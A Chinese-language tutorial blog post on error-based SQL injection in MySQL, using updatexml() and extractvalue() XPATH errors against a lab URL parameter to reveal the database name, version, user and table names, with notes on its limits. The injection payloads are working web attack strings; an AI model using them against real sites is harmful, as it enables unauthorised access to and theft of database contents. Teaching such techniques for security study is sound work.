• sql 注入, 报错型注入


    报错型注入

    无法使用 union 注入时, 尝试报错注入往往很有效.

    一, 不适用 union 注入的情况:

    1. 在页面上无法显示查询结果.
    2. 从页面变化或报错信息中无法探测出有效的列数.

    二, mysql处理xml文件

    情景:

    表名为 [xmltable], 表中列名为 [testxml], 值是字符串类型, 保存了一段xml文本:

    <class id="WNCDC20230927">
        <student sequence="1">
            <id>WNCD0001id>
            <name>张三name>
            <sex>sex>
            <age>22age>
            <degree>本科degree>
            <schoo1>华北电力schoo1>
        student>
        <student sequence="2">
            <id>WNCDC0002id>
            <name>李四name>
            <sex>sex>
            <age>21age>
            <degree>本科degree>
            <schoo1>南方科技schoo1>
        student>
    class>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    sql语句读写xml:

    extractvalue() 函数, updatexml() 函数

    # 查询  的 name
    select extractvalue(testxml, '//student[@sequence="1"]/name') from xmltable;
    # 修改  的 name 为 王五
    update learn.xmltable set testxml = 
    updatexml(testxml, '//student[@sequence="1"]/name', "王五")
    
    • 1
    • 2
    • 3
    • 4
    • 5

    三, 报错注入

    利用 xpath 字符串的语法错误进行注入.

    情景:

    url: http://192.168.112.200/security/read.php?id=1
    
    • 1

    说明:
    0x7e 是ASCII码, 对应的字符是波浪线 ~, 波浪线不是一个有效的xpath路径字符串, 那么执行sql语句就会报错.
    从报错信息中可以查看到探测的信息.
    当然换成其他的符号也可以, 不一定必须用波浪线, 只要能引起xpath语法错误即可.

    注入:

    1. updatexml() 函数注入.
    # 参数中的 2 个 1 无所谓是什么值, 重点是第二个参数中 concat() 函数中连接了 0x7e 与 想要执行的语句.
    # 这个语句在报错信息中会显示出数据库名称. 例如: XPATH syntax error: '~learn~'
    http://.../?id=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)
    # 显示数据库版本: XPATH syntax error: '~10.4.20-MariaDB~'
    http://.../?id=1 and updatexml(1, concat(0x7e, version(), 0x7e), 1)
    # 显示数据库用户: XPATH syntax error: '~root@localhost~'
    http://.../?id=1 and updatexml(1, concat(0x7e, user(), 0x7e), 1)
    
    # 执行其他 select 语句
    # 查询 learn 库中所有表的名字: XPATH syntax error: '~access,article,user,xmltable~'
    http://.../?id=1 and updatexml(1, concat(0x7e, 
    ( select group_concat( table_name ) from information_schema.tables where table_schema='learn' ), 
    0x7e), 1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    2. extractvalue() 函数注入
    # 原理相同
    http://.../?id=1 and extractvalue(1, concat( 0x7e, database(), 0x7e ))
    
    • 1
    • 2
    3. 其他错误注入

    比如 floor() 函数注入等.
    参考书籍: <代码审计: 企业级Web代码安全架构>

    四, 错误注入的缺点:

    1. 服务器端没有屏蔽或过滤掉xpath的语法错误或其他错误信息才有效, 前端页面能够看到信息.

    例如, 在php代码中使用 die() 函数屏蔽掉sql异常:

    $sql = "select * from book where bookid = $id"
    $result = mysqli_query( $conn, $sql ) or die( "注入没用" )
    
    • 1
    • 2
    2. 查询的数据有长度限制, 有时使用 group_concat() 一次性连接字符串返回大量数据可能报错:
    XPATH syntax error: '~ALL_PLUGINS,APPLICABLE_ROLES...'
    
    • 1

    这种情况也可以使用 limit n, m 逐个测试.

  • 相关阅读:
    6个小技巧,帮助职场新人培养项目管理能力
    算法练习day7
    JAVA_SSM+VUE校园二手物品交易平台(含论文)源码
    计算机网络-网络层(网络层功能概述,异构网络互联,路由与转发,SDN基本概念)
    信息学奥赛一本通(c++):1310:【例2.2】车厢重组
    JSON和全局异常处理
    Unity中Shader光照模型Blinn-Phong原理及实现
    重新定义分析 - EventBridge 实时事件分析平台发布
    KT148A语音芯片常见问题集锦|硬件|软件以及注意事项-长期更新
    Web基础与HTTP协议
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/133791343